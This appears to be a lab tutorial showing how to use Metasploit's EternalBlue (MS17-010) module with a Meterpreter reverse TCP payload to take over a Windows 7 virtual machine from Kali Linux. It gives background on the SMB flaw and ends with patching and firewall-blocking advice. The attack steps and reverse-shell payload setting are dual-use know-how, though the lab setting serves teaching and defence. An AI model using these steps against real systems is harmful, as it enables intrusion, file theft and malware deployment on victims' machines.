1. DESCRIPTION

In this lab, we will use two computers to simulate an attack based on a vulnerability in the SMB protocol of the Windows operating system. One machine runs the Kali Linux operating system, acting as the attacker (hacker). And another computer acts as the victim machine. The victim machine is running 64-bit Windows 7, which contains the SMB vulnerability. To do this, on the Kali Linux machine we will use an exploit named EternalBlue to attack the Windows 7 machine.

2. GENERAL INTRODUCTION

Server Message Block (SMB) is a quite popular file-sharing protocol on Microsoft's Windows platform. Thanks to the SMB protocol, Windows computers connected to each other on the same network layer or within the same Domain can share files with one another. To date, SMB is also known as Common Internet File Sharing (CIFS).

EternalBlue is an exploit based on a vulnerability of the SMB protocol through port 445. Initially, EternalBlue was developed by the United States National Security Agency (NSA). Its full English name is U.S. National Security Agency. But later, it was leaked by the hacker group The Shadow Brokers in 2017. Also in that same year, a large-scale attack of file-encrypting malware – Ransomware, targeting Microsoft Windows computers, took place worldwide. Among them, the most famous was the WannaCry virus. To date, although this vulnerability has been patched by Microsoft via security update MS17-010, a large number of computers running Windows worldwide still have this vulnerability. This vulnerability was disclosed in CVE-2017-0144. (Windows SMB Remote Code Execution Vulnerability). This vulnerability is extremely dangerous and very easy to exploit. What is notable is that to attack through this SMB protocol vulnerability, hackers do not need to send or trick the victim into downloading or running any malicious virus. That is, even if the victim does nothing at all, they can still be easily attacked and have their computer taken over by hackers without ever knowing it.

3. PREPARATION

Prepare 2 virtual machines running on VMware Workstation software:

Kali Linux virtual machine (attacker machine), IP address: 192.168.198.140
Windows 7 virtual machine (victim machine), IP address: 192.168.198.143

On the Kali virtual machine (attacker):
- Check IP: ifconfig
- Start the PostgreSQL service: service postgresql start
- Check whether PostgreSQL is already running using the command: service postgresql status
On the Windows 7 virtual machine (victim):
- Check IP: ipconfig
- Turn off the firewall

4. PERFORMING THE ATTACK

On the Kali machine: Log into Metasploit with the command: msfconsole

Once inside Metasploit, search for errors as well as syntax related to ms17_010 using the command: search ms17_010

Add the IP addresses of the victim and attacker machines
Set up the payload for exploitation: use 0 -> set payload windows/x64/meterpreter/reverse_tcp

Run the exploit to carry out the attack
Open a shell on the victim machine (done through the attacker machine's terminal) after having infiltrated it

=> At this point, the hacker has successfully infiltrated the victim machine. At this time, the hacker can delete or steal files from the victim's machine without them knowing. Even more, the hacker can upload and run viruses directly on it.

5. HOW TO PREVENT

To avoid being exploited and abused via the SMB protocol, we need to perform the following tasks:

Enable the firewall.
Update Windows to the latest version. Or download and install Microsoft security patches, especially the ms17_010 security patch.
Block ports 135 and 445.
- netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_Cong_135"
- netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_Cong_445"

SMB-Protocol-Vulnerability_CVE-2017-0144

Most Popular